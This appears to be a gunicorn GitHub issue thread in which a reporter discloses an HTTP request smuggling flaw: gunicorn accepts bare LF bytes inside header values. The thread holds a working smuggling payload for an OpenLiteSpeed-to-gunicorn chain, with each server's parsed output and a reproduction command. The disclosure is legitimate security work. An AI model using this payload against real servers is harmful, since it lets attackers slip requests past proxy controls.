Comments (6)
This attack has always been possible. The new RFCs require implementations to protect against it, and the older ones didn't.
The new RFCs don't introduce this issue; they address it.
Changing the title makes it seem like this issue is about rules lawyering, when it is in fact an exploitable bug.
from gunicorn.
please keep the topic title as is. We need to handle a new badly thought RFC that introduces this issue. This will be fixed.
from gunicorn.
This renders Gunicorn vulnerable to request smuggling when used in conjunction with those servers.
Which chain expose that ? Do you have any diagram ? Was it tested on latest master?
from gunicorn.
Yes, this was tested on the latest master.
Any proxy that doesn't normalize LF into CRLF as a header line terminator would work. This is a pretty easy mistake to make. One proxy that makes this mistake is OpenLiteSpeed.
So the chain would be this:
Client -> OpenLiteSpeed -> Gunicorn
from gunicorn.
WSGI applications must check there header to be safe. I don't see in the current example how an application could be in atatcked unless it's using an header like this. We protect already against long lines.
However it's true we should be compliant with the HTTP RFC. A fix for it is needed.
from gunicorn.
I don't see in the current example how an application could be in atatcked unless it's using an header like this. We protect already against long lines.
I'll give you a PoC then.
Suppose you have OpenLiteSpeed acting as a reverse proxy for Gunicorn.
OpenLiteSpeed treats \n
as a line ending in field-lines. This is permitted by RFC 9112 section 2.2:
Although the line terminator for the start-line and fields is the sequence CRLF, a recipient MAY recognize a single LF as a line terminator and ignore any preceding CR.
When OpenLiteSpeed forwards a request that uses single LF as a line ending, it does not translate that LF into a CRLF. This is a violation of RFC 9110 section 2.2:
A sender MUST NOT generate protocol elements that do not match the grammar defined by the corresponding ABNF rules. Within a given message, a sender MUST NOT generate protocol elements or syntax alternatives that are only allowed to be generated by participants in other roles (i.e., a role that the sender does not have for that message).
Gunicorn allows LF bytes within header values. This is a violation of the RFC, as noted in the previous entries of this thread.
This discrepancy allows for request smuggling to Gunicorn past OpenLiteSpeed. Here's a payload that executes request smuggling on OpenLiteSpeed <-> Gunicorn:
GET / HTTP/1.1\r\nTest: a\nContent-Length: 22\r\n\r\nGET /evil HTTP/1.1\r\n\r\n
OpenLiteSpeed parses the payload like this:
[
HTTPRequest(
method=b'GET', uri=b'/', version=b'1.1',
headers=[
(b'content-length', b'22'),
(b'test', b'a'),
],
body=b'GET /evil HTTP/1.1\r\n\r\n',
),
]
(i.e. it sees one GET
request for /
with a 22-byte message body)
It therefore forwards the following to Gunicorn:
GET / HTTP/1.1\r\nTest: a\nContent-Length: 22\r\nAccept-Encoding: gzip\r\nX-Forwarded-For: 172.19.0.1\r\n\r\nGET /evil HTTP/1.1\r\n\r\n
Gunicorn interprets this as follows:
[
HTTPRequest(
method=b'GET', uri=b'/', version=b'1.1',
headers=[
(b'accept_encoding', b'gzip'),
(b'test', b'a\nContent-Length: 22'),
(b'x_forwarded_for', b'172.19.0.1'),
],
body=b'',
),
HTTPRequest(
method=b'GET', uri=b'/evil', version=b'1.1',
headers=[],
body=b'',
),
]
(i.e. it sees two GET
requests, one for /
with an empty message body, and another for /evil
)
This is request smuggling. If you want to reproduce these results for yourself, you can do so by installing the HTTP Garden, starting it up, and running the following command in the repl:
servers ols gunicorn; transducers ols_proxy; payload 'GET / HTTP/1.1\r\nTest: a\nContent-Length: 22\r\n\r\nGET /evil HTTP/1.1\r\n\r\n'; transduce; fanout
The output should look something like this:
[1]: 'GET / HTTP/1.1\r\nTest: a\nContent-Length: 22\r\n\r\nGET /evil HTTP/1.1\r\n\r\n'
⬇️ ols_proxy
[2]: 'GET / HTTP/1.1\r\nTest: a\nContent-Length: 22\r\nAccept-Encoding: gzip\r\nX-Forwarded-For: 172.19.0.1\r\n\r\nGET /evil HTTP/1.1\r\n\r\n'
ols: [
HTTPRequest(
method=b'GET', uri=b'/', version=b'1.1',
headers=[
(b'accept-encoding', b'gzip'),
(b'content-length', b'22'),
(b'test', b'a'),
(b'x-forwarded-for', b'172.19.0.1'),
],
body=b'GET /evil HTTP/1.1\r\n\r\n',
),
]
gunicorn: [
HTTPRequest(
method=b'GET', uri=b'/', version=b'1.1',
headers=[
(b'accept_encoding', b'gzip'),
(b'test', b'a\nContent-Length: 22'),
(b'x_forwarded_for', b'172.19.0.1'),
],
body=b'',
),
HTTPRequest(
method=b'GET', uri=b'/evil', version=b'1.1',
headers=[],
body=b'',
),
]
from gunicorn.
Related Issues (20)
- SCRIPT_NAME header is dropped/rejected by header map validation HOT 2
- Gunicorn-22.0.0 egg file not building properly. Missing directories. HOT 11
- Gunicorn exceeds the specified number of workers in actual processes. HOT 5
- Check that threads works well with Gunicorn and Python 3.13 (I think that It doesn't) HOT 2
- 使用Gunicorn的preload进行多进程全局变量共享,引发bug HOT 2
- Error handling request (no URI read) HOT 6
- Question: Measurement of `gunicorn.request.duration`
- "capture_output" fails when using "logconfig_dict" for logging configuration
- gunicorn/util.py set_owner_process Mangling gid on RHEL8 + Google Cloud Platform (very large int group id) HOT 1
- QdrantClient seems to crash Gunicorn HOT 1
- Multiple Vulnerability Reports and security email address issue HOT 8
- Spawning multiple workers and [ERROR] Worker (pid:699) was sent SIGILL! HOT 1
- Worker autorestarts cause worker-dependent duplicate logs HOT 3
- Workers that are not supposed to exist exit with code 255 HOT 2
- [Question] Passing server hooks as python objects to a custom BaseApplication HOT 1
- Bypass connection queue for load balancer health checks : Latest
- 模型部署问题
- gunicorn.http.body.Body doesn't implement io.BaseIO HOT 5
- Waiting socket reads block worker restart
- Veracode Scan Vulnerability: Improper Neutralization of Special Elements used in an OS Command (OS Command Injection) HOT 6
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.
from gunicorn.